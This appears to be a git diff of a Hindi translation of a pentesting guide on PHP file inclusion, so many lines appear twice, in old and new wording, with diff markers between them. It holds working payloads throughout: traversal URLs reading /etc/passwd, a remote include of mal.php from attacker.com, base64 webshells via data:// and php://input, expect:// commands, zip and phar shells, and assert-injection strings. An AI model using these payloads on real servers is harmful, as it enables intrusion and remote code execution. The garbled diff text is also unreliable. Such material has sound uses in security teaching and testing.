- इसी तरह, यदि किसी फ़ाइल पथ के अंत में `.php` जुड़ा हो (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से एक्सेस की जा रही फ़ाइल पर असर नहीं पड़ेगा।
|
||||
|
||||
नीचे दिए गए उदाहरण दिखाते हैं कि कैसे path truncation का उपयोग करके `/etc/passwd` तक पहुँच स्थापित की जा सकती है, जो अपनी संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
|
||||
नीचे दिए गए उदाहरण दिखाते हैं कि किस प्रकार path truncation का उपयोग करके `/etc/passwd` तक पहुँच बनाई जा सकती है, जो उसकी संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -127,11 +127,11 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
```
|
||||
In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.
|
||||
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) को अतिरिक्त dot segments और characters के साथ मिलाकर file system में नेविगेट करने के लिए इस्तेमाल किया जा सकता है, जिससे server द्वारा जोड़े गए appended strings प्रभावी रूप से अनदेखा हो जाते हैं।
|
||||
- **Determining the Required Number of Traversals**: Trial and error के माध्यम से, किसी को यह सटीक संख्या मिल सकती है कि root directory तक और फिर `/etc/passwd` तक पहुँचने के लिए कितने `../` sequences चाहिए, यह सुनिश्चित करते हुए कि किसी भी appended strings (जैसे `.php`) को neutralize किया गया है पर इच्छित path (`/etc/passwd`) अपरिवर्तित रहे।
|
||||
- **Starting with a Fake Directory**: Path को एक non-existent directory (जैसे `a/`) से शुरू करना एक सामान्य अभ्यास है। यह technique सावधानी के तौर पर या server के path parsing logic की आवश्यकताओं को पूरा करने के लिए उपयोग की जाती है।
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server.
|
||||
- **Determining the Required Number of Traversals**: Through trial and error, one can find the precise number of `../` sequences needed to navigate to the root directory and then to `/etc/passwd`, ensuring that any appended strings (like `.php`) are neutralized but the desired path (`/etc/passwd`) remains intact.
|
||||
- **Starting with a Fake Directory**: It's a common practice to begin the path with a non-existent directory (like `a/`). This technique is used as a precautionary measure or to fulfill the requirements of the server's path parsing logic.
|
||||
|
||||
When employing path truncation techniques, यह समझना ज़रूरी है कि server का path parsing व्यवहार और filesystem संरचना कैसी है। हर परिदृश्य के लिए अलग approach की ज़रूरत हो सकती है, और सबसे प्रभावी method खोजने के लिए अक्सर testing आवश्यक होती है।
|
||||
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
|
||||
|
||||
**This vulnerability was corrected in PHP 5.3.**
|
||||
|
||||
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
In php यह डिफ़ॉल्ट रूप से अक्षम है क्योंकि **`allow_url_include`** **Off.** यह काम करने के लिए **On** होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फ़ाइल शामिल करके RCE प्राप्त कर सकते हैं:
|
||||
php में यह डिफ़ॉल्ट रूप से निष्क्रिय होता है क्योंकि **`allow_url_include`** **Off.** इसे काम करने के लिए **On** होना चाहिए, और उस स्थिति में आप अपने server से एक PHP फ़ाइल include करके RCE प्राप्त कर सकते हैं:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपेजों तक पहुँच को **filtering** कर रहा है, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए data protocol के साथ base64 का उपयोग करके b64 PHP कोड को decode कर सकते हैं और egt RCE:
|
||||
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपेजों तक पहुँच को **filtering** कर रहा है, [इस पोस्ट के अनुसार](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए data protocol का उपयोग base64 के साथ कर सकते हैं ताकि b64 PHP कोड को decode करने और egt RCE पाने के लिए:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> पिछले कोड में, आखिरी `+.txt` इसलिए जोड़ा गया क्योंकि attacker को एक ऐसा string चाहिए था जो `.txt` पर समाप्त हो, इसलिए string उसी के साथ समाप्त होता है और b64 decode के बाद वह हिस्सा सिर्फ junk लौटाएगा और असली PHP कोड include किया जाएगा (और इसलिए execute होगा)।
|
||||
> पिछले कोड में, अंतिम `+.txt` इसलिए जोड़ा गया था क्योंकि attacker को ऐसी string चाहिए थी जो `.txt` पर समाप्त हो; इसलिए string उसी के साथ खत्म होती है और b64 decode के बाद वह हिस्सा सिर्फ जंक लौटाएगा और असली PHP code शामिल (और इसलिए, executed) होगा।
|
||||
>
|
||||
> एक और उदाहरण जो **`php://` protocol का उपयोग नहीं करता** ऐसा होगा:
|
||||
> एक और उदाहरण जो **`php://` protocol का उपयोग न करने वाला** होगा:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python रूट तत्व
|
||||
## Python रूट एलिमेंट
|
||||
|
||||
python में, इस तरह के कोड में:
|
||||
Python में, इस तरह के कोड में:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
यदि उपयोगकर्ता **absolute path** को **`file_name`** में पास करता है, तो **previous path सिर्फ हटा दिया जाता है**:
|
||||
यदि उपयोगकर्ता **absolute path** को **`file_name`** के रूप में पास करता है, तो **previous path बस हटा दिया जाता है**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
यह [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) के अनुसार इच्छित व्यवहार है:
|
||||
|
||||
> यदि कोई घटक एक absolute path है, तो सभी पिछले घटक फेंक दिए जाते हैं और joining उस absolute path घटक से जारी रहती है।
|
||||
> अगर कोई घटक absolute path है, तो सभी पिछले घटक हटा दिए जाते हैं और joining absolute path घटक से जारी रहती है।
|
||||
|
||||
## Java निर्देशिकाओं की सूची
|
||||
## Java डायरेक्टरी सूची
|
||||
|
||||
ऐसा लगता है कि यदि Java में आपका Path Traversal है और आप **file की बजाय किसी directory के लिए अनुरोध करते हैं**, तो **डायरेक्टरी की सूची लौटाई जाती है**। यह अन्य भाषाओं में नहीं होगा (afaik).
|
||||
ऐसा लगता है कि अगर आपके पास Java में एक Path Traversal है और आप फ़ाइल की बजाय **डायरेक्टरी के लिए अनुरोध करते हैं**, तो **डायरेक्टरी की सूची वापस की जाती है**। यह अन्य भाषाओं में नहीं होगा (जहां तक मुझे पता है)।
|
||||
|
||||
## शीर्ष 25 पैरामीटर
|
||||
|
||||
यहाँ शीर्ष 25 पैरामीटरों की सूची है जो local file inclusion (LFI) vulnerabilities के प्रति कमजोर हो सकते हैं (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
यहाँ शीर्ष 25 पैरामीटरों की सूची है जो local file inclusion (LFI) कमजोरियों के लिए संवेदनशील हो सकते हैं (स्रोत: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -211,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI — PHP wrappers और protocols का उपयोग करके
|
||||
## LFI / RFI using PHP wrappers & protocols
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP filters डेटा को पढ़ा या लिखा जाने से पहले उस पर बुनियादी **संशोधन ऑपरेशन** करने की अनुमति देते हैं। फिल्टर की 5 श्रेणियाँ हैं:
|
||||
PHP filters डेटा को पढ़े या लिखा जाने से पहले बुनियादी **संशोधन ऑपरेशन** करने की अनुमति देते हैं। फ़िल्टर की 5 श्रेणियाँ हैं:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: डेटा से tags हटाता है ( '<' और '>' कैरैक्टर के बीच की सब कुछ )
|
||||
- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
|
||||
- Note that this filter has disappear from the modern versions of PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : अलग encoding में बदलता है (`convert.iconv.<input_enc>.<output_enc>`). समर्थित **सभी encodings की सूची** प्राप्त करने के लिए console में चलाएँ: `iconv -l`
|
||||
- `convert.iconv.*` : किसी अलग encoding में बदलता है (`convert.iconv.<input_enc>.<output_enc>`). सभी supported एन्कोडिंग्स की **सूची** प्राप्त करने के लिए कंसोल में चलाएँ: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> `convert.iconv.*` conversion filter का दुरुपयोग करके आप **मनमाना टेक्स्ट** जनरेट कर सकते हैं, जो मनमाना टेक्स्ट लिखने या include जैसी फ़ंक्शन को मनमाना टेक्स्ट प्रोसेस करने योग्य बनाने में उपयोगी हो सकता है। अधिक जानकारी के लिए देखें [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: सामग्री को compress करता है (यदि बहुत सारी जानकारी exfiltrating करनी हो तो उपयोगी)
|
||||
- `zlib.deflate`: सामग्री को compress करता है (यदि बहुत सारा info exfiltrating करना हो तो उपयोगी)
|
||||
- `zlib.inflate`: डेटा को decompress करता है
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Deprecated
|
||||
- `mdecrypt.*` : Deprecated
|
||||
- Other Filters
|
||||
- php में `var_dump(stream_get_filters());` चलाने पर आप कुछ **unexpected filters** पा सकते हैं:
|
||||
- PHP में `var_dump(stream_get_filters());` चलाने पर आप कुछ **अनपेक्षित फिल्टर** पाएंगे:
|
||||
- `consumed`
|
||||
- `dechunk`: HTTP chunked encoding को उलटता है
|
||||
- `dechunk`: HTTP chunked encoding को reverse करता है
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -273,36 +273,36 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
> [!WARNING]
|
||||
> भाग "php://filter" case-insensitive है
|
||||
|
||||
### php filters का उपयोग oracle के रूप में किसी भी फ़ाइल को पढ़ने के लिए
|
||||
### php filters को oracle के रूप में उपयोग करके arbitrary files पढ़ना
|
||||
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) में एक तकनीक प्रस्तावित की गई है जिससे सर्वर से आउटपुट वापस न मिले तब भी एक local फ़ाइल पढ़ी जा सकती है। यह तकनीक **php filters का उपयोग करते हुए फ़ाइल की boolean exfiltration (char by char)** पर आधारित है। इसका कारण यह है कि php filters का उपयोग टेक्स्ट को इतना बड़ा बनाने के लिए किया जा सकता है कि php एक exception फेंक दे।
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) में एक तकनीक प्रस्तावित की गई है जो सर्वर से आउटपुट वापस न मिलने पर भी एक local file पढ़ने की अनुमति देती है। यह तकनीक php filters को oracle के रूप में उपयोग करके फ़ाइल की **boolean exfiltration (char by char)** पर आधारित है। ऐसा इसलिए है क्योंकि php filters का उपयोग टेक्स्ट को इतना बड़ा बनाने के लिए किया जा सकता है कि php एक exception फेंक दे।
|
||||
|
||||
मूल पोस्ट में इस तकनीक की विस्तृत व्याख्या है, पर यहाँ एक संक्षिप्त सारांश है:
|
||||
Original post में तकनीक का विस्तृत विवरण मिलता है, लेकिन यहाँ एक संक्षिप्त सारांश है:
|
||||
|
||||
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
|
||||
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
|
||||
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
|
||||
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
|
||||
- यह, पिछले वाले के साथ मिलकर (और अनुमानित अक्षर पर निर्भर अन्य filters के साथ), हमें टेक्स्ट के शुरूआत के एक अक्षर का अनुमान लगाने की अनुमति देगा — जब हम पर्याप्त transformations करते हैं ताकि वह अब hexadecimal character न रहे। क्योंकि अगर hex है तो dechunk उसे नहीं हटाएगा और शुरुआती बम php error ट्रिगर करेगा।
|
||||
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
|
||||
- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
|
||||
- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
|
||||
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
|
||||
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and **delete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
|
||||
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the desired bit to leak.
|
||||
|
||||
पोस्ट में इस प्रक्रिया को स्वचालित करने के लिए एक टूल भी leak किया गया था: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
पोस्ट में इसे ऑटोमेट करने के लिए एक टूल भी leak किया गया: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
यह wrapper प्रोसेस के open file descriptors तक access करने की अनुमति देता है। खुले फ़ाइलों की सामग्री को exfiltrate करने के लिए संभावित रूप से उपयोगी:
|
||||
यह wrapper प्रोसेस के द्वारा खुले हुए file descriptors तक पहुँचने की अनुमति देता है। खुले हुए फ़ाइलों की सामग्री exfiltrate करने के लिए संभावित रूप से उपयोगी:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
आप **php://stdin, php://stdout and php://stderr** का उपयोग भी कर सकते हैं ताकि क्रमशः **file descriptors 0, 1 and 2** तक पहुँच सकें (यह हमला में कैसे उपयोगी हो सकता है, यह स्पष्ट नहीं है)
|
||||
आप **php://stdin, php://stdout and php://stderr** का उपयोग करके क्रमशः **file descriptors 0, 1 and 2** तक भी पहुँच सकते हैं (निश्चित नहीं कि यह किसी हमले में कैसे उपयोगी हो सकता है)
|
||||
|
||||
### zip:// and rar://
|
||||
|
||||
एक Zip या Rar फ़ाइल अपलोड करें जिसमें अंदर एक PHPShell हो और उसे एक्सेस करें.\
|
||||
एक Zip या Rar फ़ाइल अपलोड करें जिसमें एक PHPShell अंदर हो और उसे एक्सेस करें.\
|
||||
rar protocol का दुरुपयोग करने में सक्षम होने के लिए इसे **विशेष रूप से सक्रिय किया जाना चाहिए**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन द्वारा सीमित है **`allow_url_open`** और **`allow_url_include`**
|
||||
ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन **`allow_url_open`** और **`allow_url_include`** द्वारा प्रतिबंधित है
|
||||
|
||||
### expect://
|
||||
|
||||
Expect को सक्रिय होना चाहिए। आप इसका उपयोग करके कोड निष्पादित कर सकते हैं:
|
||||
Expect को सक्रिय होना चाहिए। आप इसका उपयोग करके कोड चला सकते हैं:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
अपने payload को POST parameters में निर्दिष्ट करें:
|
||||
POST पैरामीटरों में अपना payload निर्दिष्ट करें:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
फ़ाइल लोडिंग के लिए `include` जैसे फ़ंक्शन का उपयोग करने पर, एक `.phar` फ़ाइल PHP कोड निष्पादित करने के लिए उपयोग की जा सकती है। नीचे दिया गया PHP कोड स्निपेट एक `.phar` फ़ाइल बनाने का उदाहरण दिखाता है:
|
||||
एक `.phar` फ़ाइल का उपयोग तब PHP कोड चलाने के लिए किया जा सकता है जब कोई वेब एप्लिकेशन फ़ाइल लोड करने के लिए `include` जैसे फ़ंक्शन का उपयोग करता है। नीचे दिया गया PHP कोड स्निपेट एक `.phar` फ़ाइल बनाने का उदाहरण दिखाता है:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -354,13 +354,13 @@ $phar->addFromString('test.txt', 'text');
|
||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
`.phar` फ़ाइल को compile करने के लिए, निम्नलिखित command को execute किया जाना चाहिए:
|
||||
`.phar` फ़ाइल को कंपाइल करने के लिए, निम्नलिखित कमांड चलाया जाना चाहिए:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
|
||||
|
||||
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
|
||||
ऐसे मामलों में जहाँ LFI केवल फ़ाइल पढ़ता है और उसके अंदर के PHP कोड को निष्पादित नहीं करता — उदाहरण के लिए `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, या `filesize()` के माध्यम से — तो deserialization vulnerability के शोषण का प्रयास किया जा सकता है। यह vulnerability `phar` प्रोटोकॉल का उपयोग करके फ़ाइल पढ़ने से जुड़ी हुई है।
|
||||
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
|
||||
@ -373,74 +373,74 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
यह संभव था कि **PHP से पढ़े जाने वाले किसी भी arbitrary file जो php filters को सपोर्ट करता है** का दुरुपयोग करके RCE हासिल किया जा सके। विस्तृत विवरण [**इस पोस्ट में पाया जा सकता है**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
संक्षेप में: PHP heap में एक **3 byte overflow** का दुरुपयोग करके किसी specific size के free chunks की chain को **alter the chain of free chunks** किया गया ताकि किसी भी address में **write anything in any address** किया जा सके, इसलिए `system` को कॉल करने के लिए एक hook जोड़ा गया।\
|
||||
अधिक php filters का दुरुपयोग करके specific sizes के chunks allocate करना संभव था।
|
||||
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
संक्षेप में: PHP heap में एक **3 byte overflow** का दुरुपयोग करके free chunks की chain को बदल कर एक विशिष्ट आकार के chunks के साथ ऐसा करना संभव हुआ ताकि किसी भी address में कुछ भी लिखा जा सके, और इसलिए एक hook `system` को कॉल करने के लिए जोड़ा गया।\
|
||||
अधिक php filters का दुरुपयोग करके विशिष्ट आकार के chunks को alloc करना संभव था।
|
||||
|
||||
### More protocols
|
||||
### और प्रोटोकॉल
|
||||
|
||||
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — मेमोरी में या अस्थायी फाइल में लिखना (यह file inclusion हमले में कितना उपयोगी है, निश्चित नहीं)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — लोकल filesystem तक पहुँच
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — मेमोरी में या एक अस्थायी फ़ाइल में लिखता है (not sure how this can be useful in a file inclusion attack)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — स्थानीय फ़ाइल सिस्टम तक पहुँच
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URLs तक पहुँच
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URLs तक पहुँच
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — कम्प्रेशन स्ट्रीम्स
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — पैटर्न से मेल खाने वाले pathnames ढूँढना (यह प्रिंट करने योग्य कुछ नहीं लौटाता, इसलिए यहाँ ज्यादा उपयोगी नहीं)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — pattern से मेल खाने वाले pathnames खोजता है (यह कुछ भी प्रिंटेबल नहीं लौटाता, इसलिए यहाँ वास्तव में उपयोगी नहीं है)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — ऑडियो स्ट्रीम्स (arbitrary files पढ़ने के लिए उपयोगी नहीं)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — ऑडियो स्ट्रीम्स (Not useful to read arbitrary files)
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
## PHP के 'assert' के माध्यम से LFI
|
||||
|
||||
PHP में Local File Inclusion (LFI) के जोखिम तब विशेष रूप से अधिक होते हैं जब 'assert' फ़ंक्शन के साथ व्यवहार किया जा रहा हो, क्योंकि यह strings के भीतर के कोड को execute कर सकता है। यह विशेष रूप से समस्याग्रस्त होता है यदि ऐसा इनपुट जिसमें directory traversal characters जैसे ".." शामिल हैं, उसकी जाँच तो की जा रही हो पर उसे सही तरह से sanitize नहीं किया गया हो।
|
||||
PHP में 'assert' function के साथ काम करते समय Local File Inclusion (LFI) का जोखिम काफी अधिक होता है, क्योंकि यह strings के भीतर कोड निष्पादित कर सकता है। यह विशेष रूप से समस्या तब बनती है जब ऐसी इनपुट जिसमें directory traversal characters जैसे ".." हों, की जाँच तो की जा रही हो लेकिन सही तरह से sanitize नहीं की जा रही हो।
|
||||
|
||||
For example, PHP code might be designed to prevent directory traversal like so:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
जबकि यह traversal को रोकने का प्रयास करता है, यह अनजाने में code injection के लिए एक वेक्टर बनाता है। फ़ाइल की सामग्री पढ़ने के लिए इसका फायदा उठाते हुए, एक attacker उपयोग कर सकता है:
|
||||
हालाँकि यह traversal को रोकने का प्रयास करता है, यह अनजाने में code injection के लिए एक vector बना देता है। फ़ाइल की सामग्री पढ़ने के लिए इसे एक्सप्लॉइट करने हेतु, एक attacker उपयोग कर सकता है:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
इसी तरह, किसी भी सिस्टम कमांड को निष्पादित करने के लिए, कोई निम्नलिखित का उपयोग कर सकता है:
|
||||
इसी तरह, arbitrary system commands को execute करने के लिए, कोई निम्नलिखित उपयोग कर सकता है:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
It’s important to **URL-encode these payloads**.
|
||||
यह महत्वपूर्ण है कि आप इन **URL-encode these payloads** करें।
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप **control** करते हैं **file path** को किसी **PHP function** के लिए जो **access a file** करेगा, लेकिन आप फाइल की सामग्री नहीं देख पाएँगे (जैसे एक साधारण कॉल **`file()`**) और सामग्री प्रदर्शित नहीं होती।
|
||||
> यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप किसी **PHP function** के लिए **file path** को नियंत्रित करते हैं जो किसी **file** तक पहुँचता है पर आप फ़ाइल की सामग्री नहीं देख पाएंगे (जैसे एक साधारण कॉल **`file()`**) और सामग्री दिखाई नहीं देती।
|
||||
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) यह समझाया गया है कि कैसे एक blind path traversal को PHP filter के माध्यम से abuse करके **exfiltrate the content of a file via an error oracle** किया जा सकता है।
|
||||
|
||||
सारांश के तौर पर, यह तकनीक **"UCS-4LE" encoding** का उपयोग करके फ़ाइल की सामग्री को इतना **big** बना देती है कि फ़ाइल खोलने वाला **PHP function opening** एक **error** ट्रिगर कर देगा।
|
||||
सारांश के रूप में, यह तकनीक **"UCS-4LE" encoding** का उपयोग करती है ताकि किसी फ़ाइल की सामग्री इतनी **big** हो जाए कि जिस **PHP function opening** फ़ाइल को खोलता है वह एक **error** trigger कर दे।
|
||||
|
||||
फिर, पहले char को leak करने के लिए फ़िल्टर `dechunk` का उपयोग किया जाता है, साथ ही base64 या rot13 जैसे अन्य फ़िल्टरों के साथ, और अंत में filters convert.iconv.UCS-4.UCS-4LE और convert.iconv.UTF16.UTF-16BE का उपयोग करके अन्य chars को शुरुआत में रखा जाता है और उन्हें leak किया जाता है।
|
||||
फिर, पहले char को leak करने के लिए filter **`dechunk`** का उपयोग किया जाता है साथ ही अन्य जैसे **base64** या **rot13**, और अंत में filters **convert.iconv.UCS-4.UCS-4LE** और **convert.iconv.UTF16.UTF-16BE** का उपयोग करके **place other chars at the beggining and leak them** किया जाता है।
|
||||
|
||||
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
तकनीकी विवरण के लिए उल्लेखित पोस्ट देखें!
|
||||
For the technical details check the mentioned post!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
यदि server-side code जो files ingest/uploads करता है destination path को user-controlled data (उदा., एक filename या URL) का उपयोग करके बिना canonicalising और validating किए बनाता है, तो `..` segments और absolute paths intended directory से बाहर निकल सकते हैं और arbitrary file write करवा सकते हैं। यदि आप payload को किसी web-exposed directory में रख पाते हैं, तो आमतौर पर आप unauthenticated RCE हासिल कर लेते हैं एक webshell डालकर।
|
||||
जब server-side कोड जोfiles ingest/upload करता है destination path को user-controlled डेटा (उदा., filename या URL) से बनाता है बिना इसे canonicalising और validating किए, तो `..` segments और absolute paths intended directory से बाहर निकलकर arbitrary file write कर सकते हैं। अगर आप payload को किसी web-exposed directory में रख सकें, तो आम तौर पर आप webshell drop करके unauthenticated RCE प्राप्त कर लेते हैं।
|
||||
|
||||
आम तौर पर exploit करने का workflow:
|
||||
